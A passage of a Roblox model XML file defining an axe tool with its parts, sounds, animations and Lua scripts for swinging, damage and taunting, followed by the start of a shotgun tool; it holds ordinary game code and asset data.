						<R11>-1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>6.39999819</Y>
						<Z>0.200000003</Z>
					</Vector3>
				</Properties>
				<Item class="Sound" referent="RBX5342">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5343">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5344">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5345">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5346">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5347">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5348">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5349">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5350">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5351">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5352">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5353">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5354">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5355">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5356">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5357">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5358">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5359">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5360">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5361">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5362">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5363">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5364">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5365">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5366">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5367">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="SpecialMesh" referent="RBX5368">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=100253437</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1.10000002</X>
							<Y>1.10000002</Y>
							<Z>1.10000002</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5369">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5370">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5371">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5372">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5373">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5374">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5375">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5376">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5377">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5378">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5379">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5380">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5381">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5382">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5383">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/swordslash.wav</url></Content>
						<float name="Volume">0.699999988</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5384">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Sound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds/unsheath.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX5385">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Local Gui</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


local sp=script.Parent
local sword=sp.Handle


enabled=true
taunting=false

function onButton1Down(mouse)
&#9;if not enabled then
&#9;&#9;return
&#9;end
&#9;enabled=false
&#9;mouse.Icon=&quot;rbxasset://textures\\GunWaitCursor.png&quot;
&#9;wait(1.25)
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;enabled=true
end


function onEquippedLocal(mouse)
&#9;local currentlast=lastequipped
&#9;if mouse==nil then
&#9;&#9;print(&quot;Mouse not found&quot;)
&#9;&#9;return 
&#9;end
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;mouse.Button1Down:connect(function()
&#9;&#9;onButton1Down(mouse)
&#9;end)
&#9;mouse.KeyDown:connect(function(key)
&#9;&#9;key=string.lower(key)
&#9;&#9;if key==&quot;l&quot; or key==&quot;t&quot; or key==&quot;g&quot; then&#9;-- :3
&#9;&#9;&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;if h~=nil then
&#9;&#9;&#9;&#9;sp.Taunting.Value=true
&#9;&#9;&#9;&#9;h.WalkSpeed=0
&#9;&#9;&#9;&#9;tauntanim=h:LoadAnimation(sp.Taunt)
&#9;&#9;&#9;&#9;tauntanim:Play()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(1.4)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;h.WalkSpeed=16
&#9;&#9;&#9;&#9;sp.Taunting.Value=false
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end)
end
sp.Equipped:connect(onEquippedLocal)

while sp:FindFirstChild(&quot;RunAnim&quot;)==nil do
&#9;wait()
end
sp.RunAnim.Changed:connect(function()
&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;local t=sp.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;local anim=sp:FindFirstChild(sp.RunAnim.Value)
&#9;if anim and t and h then
&#9;&#9;theanim=h:LoadAnimation(anim)
&#9;&#9;if theanim and h.Health&gt;0 then
&#9;&#9;&#9;theanim:Play()
&#9;&#9;&#9;if sp.RunAnim.Value==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;&#9;wait(.25)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(.5)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="StringValue" referent="RBX5386">
				<Properties>
					<string name="Name">RunAnim</string>
					<string name="Value">RightSlash</string>
				</Properties>
			</Item>
			<Item class="BoolValue" referent="RBX5387">
				<Properties>
					<string name="Name">Taunting</string>
					<bool name="Value">false</bool>
				</Properties>
			</Item>
			<Item class="Camera" referent="RBX5388">
				<Properties>
					<Ref name="CameraSubject">null</Ref>
					<token name="CameraType">0</token>
					<CoordinateFrame name="CoordinateFrame">
						<X>3.00843692</X>
						<Y>2.04299498</Y>
						<Z>0.38796404</Z>
						<R00>-0.0349010229</R00>
						<R01>-0.166666746</R01>
						<R02>0.985395551</R02>
						<R10>-2.60770321e-007</R10>
						<R11>0.985996127</R11>
						<R12>0.166768327</R12>
						<R20>-0.99939096</R20>
						<R21>0.00582012534</R21>
						<R22>-0.034412384</R22>
					</CoordinateFrame>
					<float name="FieldOfView">70</float>
					<CoordinateFrame name="Focus">
						<X>-0.200000003</X>
						<Y>1.5</Y>
						<Z>0.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">ThumbnailCamera</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX5389">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74894663</url></Content>
					<string name="Name">LeftSlash</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX5390">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=96559159</url></Content>
					<string name="Name">OverHeadSwing</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX5391">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=96559161</url></Content>
					<string name="Name">RightSlash</string>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX5392">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74901237</url></Content>
					<string name="Name">Taunt</string>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX5393">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">SwordScript</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


sp=script.Parent

r=game:service(&quot;RunService&quot;)


anims={&quot;RightSlash&quot;,&quot;LeftSlash&quot;,&quot;OverHeadSwing&quot;}

basedamage=5
slashdamage=20
swingdamage=30
damage=basedamage

sword=sp.Handle
sp.Taunting.Value=false

local SlashSound=Instance.new(&quot;Sound&quot;)
SlashSound.SoundId=&quot;rbxasset://sounds\\swordslash.wav&quot;
SlashSound.Parent=sword
SlashSound.Volume=.7

local UnsheathSound=Instance.new(&quot;Sound&quot;)
UnsheathSound.SoundId=&quot;rbxasset://sounds\\unsheath.wav&quot;
UnsheathSound.Parent=sword
UnsheathSound.Volume=1


function blow(hit)
&#9;if (hit.Parent==nil) then return end -- happens when bullet hits sword
&#9;local humanoid=hit.Parent:findFirstChild(&quot;Humanoid&quot;)
&#9;local vCharacter=sp.Parent
&#9;local vPlayer=game.Players:playerFromCharacter(vCharacter)
&#9;local hum=vCharacter:findFirstChild(&quot;Humanoid&quot;) -- non-nil if sp held by a character
&#9;if humanoid~=nil and humanoid~=hum and hum~=nil then
&#9;&#9;-- final check, make sure sword is in-hand

&#9;&#9;local right_arm = vCharacter:FindFirstChild(&quot;Right Arm&quot;)
&#9;&#9;if (right_arm ~= nil) then
&#9;&#9;&#9;local joint = right_arm:FindFirstChild(&quot;RightGrip&quot;)
&#9;&#9;&#9;if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
&#9;&#9;&#9;&#9;taggedPlayer = game.Players:GetPlayerFromCharacter(hit.Parent)
&#9;&#9;&#9;&#9;if taggedPlayer ~= nil then
&#9;&#9;&#9;&#9;&#9;if taggedPlayer.Neutral == false and vPlayer.Neutral == false then
&#9;&#9;&#9;&#9;&#9;&#9;if taggedPlayer.TeamColor ~= vPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;wait(.7)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;elseif taggedPlayer.Neutral == true and vPlayer.Neutral == true then
&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;wait(.7)
&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;elseif taggedPlayer == nil then
&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;wait(.7)
&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end


&#9;end
end

function tagHumanoid(humanoid, player)
&#9;local creator_tag=Instance.new(&quot;ObjectValue&quot;)
&#9;creator_tag.Value=player
&#9;creator_tag.Name=&quot;creator&quot;
&#9;creator_tag.Parent=humanoid
end

function untagHumanoid(humanoid)
&#9;if humanoid~=nil then
&#9;&#9;local tag=humanoid:findFirstChild(&quot;creator&quot;)
&#9;&#9;if tag~=nil then
&#9;&#9;&#9;tag.Parent=nil
&#9;&#9;end
&#9;end
end

sp.Enabled=true
function onActivated()
&#9;if sp.Enabled and not sp.Taunting.Value then
&#9;&#9;sp.Enabled=false
&#9;&#9;local character=sp.Parent;
&#9;&#9;local humanoid=character.Humanoid
&#9;&#9;if humanoid==nil then
&#9;&#9;&#9;print(&quot;Humanoid not found&quot;)
&#9;&#9;&#9;return 
&#9;&#9;end
&#9;&#9;SlashSound:play()
&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;while newanim==sp.RunAnim.Value do
&#9;&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;end
&#9;&#9;sp.RunAnim.Value=newanim
&#9;&#9;if newanim==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;damage=swingdamage
&#9;&#9;else
&#9;&#9;&#9;damage=slashdamage
&#9;&#9;end
&#9;&#9;wait(.7)
&#9;&#9;damage=basedamage
&#9;&#9;sp.Enabled=true
&#9;end
end

function onEquipped()
&#9;UnsheathSound:play()
end

sp.Activated:connect(onActivated)
sp.Equipped:connect(onEquipped)

connection=sword.Touched:connect(blow)


</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX5394">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0.25</X>
					<Y>-0.200000003</Y>
					<Z>0.400000006</Z>
					<R00>0.970142484</R00>
					<R01>0</R01>
					<R02>0.242535636</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0.242535636</R20>
					<R21>0</R21>
					<R22>0.970142484</R22>
				</CoordinateFrame>
				<string name="Name">R870</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=122079880</url></Content>
				<string name="ToolTip">Remington 870</string>
			</Properties>
			<Item class="Part" referent="RBX5395">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-16</X>
						<Y>-68.5999985</Y>
						<Z>30.8999996</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.200000003</X>
						<Y>1</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX5396">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=3835506</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1.79999995</X>
							<Y>1.39999998</Y>
							<Z>0.899999976</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5397">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">0.800000012</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://roblox.com/asset/?id=10209842 </url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5398">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">PumpSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5399">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://roblox.com/asset/?id=10209845 </url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5400">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
